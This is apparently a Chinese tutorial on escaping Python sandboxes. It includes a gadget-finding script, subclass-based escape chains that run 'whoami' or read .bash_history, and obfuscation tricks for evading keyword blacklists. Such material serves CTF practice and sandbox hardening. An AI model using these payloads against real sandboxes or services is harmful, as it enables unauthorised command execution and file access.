Python沙箱逃逸指的是:突破原本受限的Python交互环境,实现执行命令、读写文件等操作。

导入模块

Python导入模块时,会先判断sys.modules是否已经加载了该模块,如果没有加载则从sys.path中的目录按照模块名查找pypycpyd文件,找到后执行该文件载入内存并添加至sys.modules中,再将模块名称导入Local命名空间。如果a.py中存在import b,则在import aab两个模块都会添加至sys.modules中,但仅将a导入Local命名空间。通过from x import y时,则将x添加至sys.modules中,将y导入Local命名空间。

因此除了常用方式,还可以通过手动添加、直接执行等方式导入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import xxx

from xxx import *

__import__('xxx')

import sys
sys.modules['xxx']='blacklist'
del sys.modules['xxx']
import xxx

a = open('/usr/lib/python3.8/xxx.py').read()
exec(a)

# Python2
execfile('/usr/lib/python2.7/xxx.py')

危险方法

有很多模块和方法可以用于执行命令或者读取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
os.system('whoami')
os.popen('whoami').read()
# Python2
os.popen2('whoami').read()
os.popen3('whoami').read()
...

subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# Python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')

platform.popen('whoami').read()

# Python2
commands.getoutput('whoami')
commands.getstatusoutput('whoami')

timeit.timeit("__import__('os').system('whoami')", number=1)

bdb.os.system('whoami')

cgi.os.system('whoami')

importlib.import_module('os').system('whoami')
# Python3
importlib.__import__('os').system('whoami')

pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")

eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))


# Linux
pty.spawn('whoami')
pty.os.system('whoami')


# 文件操作
open('.bash_history').read()
linecache.getlines('.bash_history')
codecs.open('.bash_history').read()

# Python2
file('.bash_history').read()
types.FileType('.bash_history').read()
commands.getstatus('.bash_history')


# 函数参数
foo.__code__.co_argcount
# Python2
foo.func_code.co_argcount

# 函数字节码
foo.__code__.co_code
# Python2
foo.func_code.co_code

...

重新导入

Python将一些经常用到的函数放在了内建模块中,这些函数无需导入即可使用(比如evalopen),这个内建模块在Python2中叫作__builtin__、在Python3中叫作builtins,这两个都需要导入才可以引用,但可以通过__builtins__来间接引用而无需导入(有一点区别,但问题不大)。

一些环境出于安全考虑会删掉内建模块中的危险方法:

1
2
3
4
5
6
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['exec']
del __builtins__.__dict__['execfile']
del __builtins__.__dict__['getattr']
del __builtins__.__dict__['input']

这时可以尝试重新导入内建模块

1
2
3
4
5
6
imp.reload(__builtins__)

# Python2
reload(__builtins__)

# 也可用作首次导入

但是Python2的reload也是内建模块,可以通过del __builtins__.reload删掉。

构造逃逸链

对于a模块嵌套导入的b模块中导入的xxx模块,可以通过a.b.xxx的方式来引用。如果标准库中嵌套导入了危险模块则会成为一个潜在风险,但是标准库也是需要先导入才能用的,如何才能打破僵局让潜在风险可被利用呢?

在Python3中所有的类都默认继承自object类、继承object的全部方法,在Python2中类默认为classobj,只有['__doc__', '__module__']两个方法,除非显式声明继承自object类。

思路一:如果object的某个派生类中存在危险方法,就可以直接拿来用

思路二:如果object的某个派生类导入了危险模块,就可以链式调用危险方法

思路三:如果object的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用

思路四:基本类型的某些方法属于特殊方法,可以通过链式调用

获取object类

Python建议类的protected类型、private类型及内部变量分别以_xxx__yyy__zzz__的形式命名,但这仅是一种代码风格规范,并未在语言层面作任何限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
object

[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
[].__class__.__bases__[0]
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__mro__[1]
().__class__.__mro__[1]
{}.__class__.__mro__[1]

# Python3
''.__class__.__base__
''.__class__.__mro__[1]

# Python2
''.__class__.__mro__[2]

# 下标可以用负数来倒数

遍历派生类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
# coding: utf-8

import sys

# https://github.com/python/cpython/tree/2.7/Lib
# ls -l /usr/lib/python2.7 | awk '{print$9}' | grep -v '.pyc\|this\|antigravity'

# Python2标准库模块
modules2 = ['_abcoll', 'abc', 'aifc', 'anydbm', 'argparse.egg-info', 'argparse', 'ast', 'asynchat', 'asyncore', 'atexit', 'audiodev', 'base64', 'BaseHTTPServer', 'Bastion', 'bdb', 'binhex', 'bisect', 'bsddb', 'calendar', 'CGIHTTPServer', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', 'colorsys', 'commands', 'compileall', 'compiler', 'ConfigParser', 'config-x86_64-linux-gnu', 'contextlib', 'cookielib', 'Cookie', 'copy', 'copy_reg', 'cProfile', 'csv', 'ctypes', 'curses', 'dbhash', 'decimal', 'difflib', 'dircache', 'dis', 'dist-packages', 'distutils', 'doctest', 'DocXMLRPCServer', 'dumbdbm', 'dummy_threading', 'dummy_thread', 'email', 'encodings', 'ensurepip', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fpformat', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'hotshot', 'htmlentitydefs', 'htmllib', 'HTMLParser', 'httplib', 'ihooks', 'imaplib', 'imghdr', 'importlib', 'imputil', 'inspect', 'io', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'lib-tk', 'LICENSE.txt', 'linecache', 'locale', 'logging', '_LWPCookieJar', 'macpath', 'macurl2path', 'mailbox', 'mailcap', 'markupbase', 'md5', 'mhlib', 'mimetools', 'mimetypes', 'MimeWriter', 'mimify', 'modulefinder', '_MozillaCookieJar', 'multifile', 'multiprocessing', 'mutex', 'netrc', 'new', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'optparse', 'os2emxpath', 'os', '_osx_support', 'pdb.doc', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plat-x86_64-linux-gnu', 'plistlib', 'popen2', 'poplib', 'posixfile', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', 'pyclbr', 'py_compile', 'pydoc_data', 'pydoc', '_pyio', 'Queue', 'quopri', 'random', 'repr', 're', 'rexec', 'rfc822', 'rlcompleter', 'robotparser', 'runpy', 'sched', 'sets', 'sgmllib', 'sha', 'shelve', 'shlex', 'shutil', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'SocketServer', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'sre', 'ssl', 'stat', 'statvfs', 'StringIO', 'stringold', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunaudio', 'sunau', 'symbol', 'symtable', '_sysconfigdata', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'toaiff', 'tokenize', 'token', 'traceback', 'trace', 'tty', 'types', 'unittest', 'urllib2', 'urllib', 'urlparse', 'UserDict', 'UserList', 'user', 'UserString', 'uuid', 'uu', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'whichdb', 'wsgiref', 'wsgiref.egg-info', 'xdrlib', 'xml', 'xmllib', 'xmlrpclib', 'zipfile']

# Python3标准库模块
modules3 = ['abc', 'aifc', 'argparse', 'ast', 'asynchat', 'asyncio', 'asyncore', 'base64', 'bdb', 'binhex', 'bisect', '_bootlocale', 'bz2', 'calendar', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', '_collections_abc', 'colorsys', '_compat_pickle', 'compileall', '_compression', 'concurrent', 'config-3.8-x86_64-linux-gnu', 'configparser', 'contextlib', 'contextvars', 'copy', 'copyreg', 'cProfile', 'crypt', 'csv', 'ctypes', 'curses', 'dataclasses', 'datetime', 'dbm', 'decimal', 'difflib', 'dis', 'dist-packages', 'distutils', 'doctest', 'dummy_threading', '_dummy_thread', 'email', 'encodings', 'ensurepip', 'enum', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'html', 'http', 'imaplib', 'imghdr', 'importlib', 'imp', 'inspect', 'io', 'ipaddress', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'LICENSE.txt', 'linecache', 'locale', 'logging', 'lzma', 'mailbox', 'mailcap', '_markupbase', 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'operator', 'optparse', 'os', '_osx_support', 'pathlib', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plistlib', 'poplib', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', '_py_abc', 'pyclbr', 'py_compile', '_pydecimal', 'pydoc_data', 'pydoc', '_pyio', 'queue', 'quopri', 'random', 'reprlib', 're', 'rlcompleter', 'runpy', 'sched', 'secrets', 'selectors', 'shelve', 'shlex', 'shutil', 'signal', '_sitebuiltins', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'socketserver', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'ssl', 'statistics', 'stat', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunau', 'symbol', 'symtable', '_sysconfigdata__linux_x86_64-linux-gnu', '_sysconfigdata__x86_64-linux-gnu', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'tkinter', 'tokenize', 'token', 'traceback', 'tracemalloc', 'trace', 'tty', 'turtle', 'types', 'typing', 'unittest', 'urllib', 'uuid', 'uu', 'venv', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'wsgiref', 'xdrlib', 'xml', 'xmlrpc', 'zipapp', 'zipfile', 'zipimport']

# 危险模块
methods = ['sys', 'os', 'system', 'popen', 'subprocess', 'platform', 'commands', 'timeit', 'bdb', 'cgi', 'importlib', 'pickle', 'pty', '__builtins__', '__import__', 'import_module', 'eval', 'exec', 'spawn', 'file', 'linecache', 'types']

# 基本类型
types = ['', [], (), {}]

# object的派生类
subclasses = {}

# 危险标准库模块
risk_modules = {}

# 遍历派生类并获取模块
for i in range(0, len(object.__subclasses__())):
try:
subclasses[i] = object.__subclasses__()[i].__init__.__globals__.keys()
except Exception as e:
# print(e)
pass

print('------------------------------ 思路二 ------------------------------')

# 导入了危险模块的派生类
for i, submodules in subclasses.items():
for submodule in submodules:
for method in methods:
if method == submodule:
# print(f"object.__subclasses__()[{i}].__init__.__globals__['{method}']")
print("object.__subclasses__()[{i}].__init__.__globals__['{method}']".format(i=i, method=method))

print('------------------------------ 缓冲区 ------------------------------')

# 判断Python版本
if (sys.version_info[0]) == 3:
modules = modules3
else:
modules = modules2

# 导入了危险模块的标准库
for module in modules:
risk_modules[module] = []
try:
m = __import__(module) # 导入模块
attrs = dir(m) # 获取属性与方法
for method in methods:
if method in attrs: # 若存在危险模块
risk_modules[module].append(method)
except Exception as e:
# print(e)
pass

print('------------------------------ 思路三 ------------------------------')

# 导入了危险标准库的派生类
for i, submodules in subclasses.items():
for submodule in submodules:
for risk_module in risk_modules.keys():
if risk_module == submodule:
for method in risk_modules[risk_module]:
# print(f"object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']")
print("object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']".format(i=i, risk_module=risk_module, method=method))

print('------------------------------ 思路四 ------------------------------')

# 基本类型的特殊方法
for t in types:
for method in dir(t):
# 待比较类型
c = str(t.__getattribute__(method).__class__)
# Python2特殊类型
c2 = "<type 'builtin_function_or_method'>"
# Python3特殊类型
c3 = "<class 'builtin_function_or_method'>"
if c == c2 or c == c3:
# 转义双引号
if t == '':
t = "''"
print("{t}.{method}.__class__.__call__".format(t=t, method=method))

思路一实例

1
2
3
4
5
6
# Python3
object.__subclasses__()[37].__call__(eval, "__import__('os').system('whoami')")

# Python2
object.__subclasses__()[29].__call__(eval, "__import__('os').system('whoami')")
object.__subclasses__()[40]('.bash_history').read()

思路二实例

1
2
3
4
5
6
7
8
9
# Python3
object.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('whoami')

# Python3
object.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

思路三实例

1
2
3
4
# Python3
object.__subclasses__()[170].__init__.__globals__['_collections_abc'].__dict__['sys'].modules['os'].system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')

思路三特例

1
2
3
4
# Python3
object.__subclasses__()[134]()._module.__builtins__['__import__']('os').system('whoami')
# Python2
object.__subclasses__()[59]()._module.__builtins__['__import__']('os').system('whoami')

思路四实例

1
[].append.__class__.__call__(eval, "__import__('os').system('whoami')")

WAF

有些时候并不是删掉了某个危险模块,而是设置了一个输入关键字黑名单。如果是利用链中的字符串类型可以通过拼接、编码、倒序等多种方式绕过,如果是方法或属性可以通过同义替换绕过。

字符串

1
2
3
4
5
6
# 拼接
"__im"+"port__('o"+"s').sy"+"stem('who"+"ami')"
# 编码
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41))
# 倒序
")'imaohw'(metsys.)'so'(__tropmi__"[::-1]

中括号

1
2
# [].__class__.__bases__[0].__subclasses__()[37]
().__class__.__bases__.__getitem__(0).__subclasses__().pop(37)

点号

1
getattr(getattr(getattr(getattr(getattr((),'__class__'),'__bases__'),'__getitem__')(0),'__subclasses__')(),'pop')(37)

下划线

1
getattr(getattr(getattr(getattr(getattr((),dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'bases'+dir(0)[0][0]*2),dir(0)[0][0]*2+'getitem'+dir(0)[0][0]*2)(0),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)(),'pop')(37)

引号

只过滤引号的话可以利用一些通过序号取值的方法,但是如果点号不能用就得用getattr,而getattr又需要用到引号。。。

参考链接

Python 沙箱逃逸的经验总结

Python 沙箱逃逸

Python沙箱逃逸总结